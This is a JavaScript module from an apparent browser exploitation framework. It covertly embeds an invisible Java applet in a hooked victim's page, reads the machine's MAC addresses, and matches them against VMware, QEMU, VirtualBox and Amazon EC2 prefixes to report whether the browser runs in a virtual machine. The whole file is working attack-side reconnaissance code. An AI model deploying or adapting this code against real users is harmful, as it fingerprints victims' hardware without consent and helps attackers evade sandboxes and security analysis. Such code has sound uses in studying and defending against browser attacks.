Files
beef/modules/standard/detect_virtual_machine/template.js
wade@bindshell.net 03ffb4703d Initial Import
git-svn-id: https://beef.googlecode.com/svn/trunk@2 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-01-11 00:54:08 +00:00

137 lines
3.5 KiB
JavaScript

function vmDetect(){
var isVM = false;
var isVMware = false;
var isQEMU = false;
var isVB = false;
var isEC2 = false;
var EC2Region = '';
var deviceVM = 0;
var macs = null;
// create the applet object
var e=document.createElement('embed');
e.setAttribute('code',"MacAddressApplet");
e.setAttribute('codebase',"../modules/standard/vmdetect2/");
e.setAttribute('width',0);
e.setAttribute('height',0);
e.setAttribute('alt',null);
e.setAttribute("type", "application/x-java-applet;version=1.6");
e.setAttribute('name','macaddressapplet');
e.setAttribute('id','macaddressapplet');
e.setAttribute("scriptable", true);
e.setAttribute("mayscript", true);
var browser=navigator.appName;
if (browser == "Microsoft Internet Explorer") {
var ne=e.createElement('noembed');
ne.setAttribute('classid',"clsid:CAFEEFAC-0016-0000-FFFF-ABCDEFFEDCBA");
ne.setAttribute('code',"MacAddressApplet");
ne.setAttribute('codebase',"../modules/standard/vmdetect2/");
ne.setAttribute('width',0);
ne.setAttribute('height',0);
ne.setAttribute('alt',null);
ne.setAttribute("type", "application/x-java-applet;version=1.6");
ne.setAttribute('name','macaddressapplet');
ne.setAttribute('id','macaddressapplet');
ne.setAttribute("scriptable", true);
ne.setAttribute("mayscript", true);
e.appendChild(ne);
}
document.body.appendChild(e);
if (browser == "Microsoft Internet Explorer") {
ne.setSep( ":" );
}
else {
e.setSep( ":" );
}
document.macaddressapplet.setSep( ":" );
document.macaddressapplet.setFormat( "%02x" );
var macs = eval( String( document.macaddressapplet.getMacAddressesJSON() ) );
// VMware
var regex1 = /(00:50:56).*/i;
var regex2 = /(00:0C:29).*/i;
var regex3 = /(00:05:69).*/i;
var regex4 = /(00:50:56).*/i;
// QEMU
var regex10 = /(52:54:00).*/i;
// VirtualBox
var regex20 = /(08:00:27:).*/i;
/*
* Amazon EC2 US-East: 12:31:39:03:45:52, 12:31:39:02:C8:61
*
* EU-West: 12:31:3B:00:6D:85
*/
var regex30 = /(12:31:39).*/i;
var regex31 = /(12:31:3B).*/i;
for( var idx = 0; idx < macs.length; idx ++ ) {
//alert(macs[ idx ]) ;
// ------ VMware
if (macs[ idx ].match(regex1) || macs[ idx ].match(regex2) || macs[ idx ].match(regex3) || macs[ idx ].match(regex4)) {
isVM = true;
isVMware = true;
deviceVM++;
}
// ------- QEMU
else if (macs[ idx ].match(regex10) ) {
isVM = true;
isQEMU = true;
}
// -------- VirtualBOx
else if (macs[ idx ].match(regex20) ) {
isVM = true;
isVB = true;
}
//---------- AMAZON EC2
else if (macs[ idx ].match(regex30) ) {
isVM = true;
isEC2 = true;
EC2Region = 'US-East';
}
else if (macs[ idx ].match(regex31) ) {
isVM = true;
isEC2 = true;
EC2Region = 'EU-West';
}
else {
}
}
if( isVM ) {
if (isVMware && deviceVM == 1) {
return_result(result_id, "Browser is in a VMware");
}
else if (isQEMU) {
return_result(result_id, "Browser is in QEMU");
}
else if (isVB) {
return_result(result_id, "Browser is in VirtualBox");
}
else if (isEC2) {
return_result(result_id, "Browser is in Amazon EC2 located in " + EC2Region);
}
else {
return_result(result_id, "Browser is NOT in a VM");
}
} else {
return_result(result_id, "Browser is NOT in a VM");
}
}
if (! window.navigator.javaEnabled() ) {
//navigator.javaEnabled()) {
return_result(result_id, "Java not enabled");
} else {
vmDetect();
}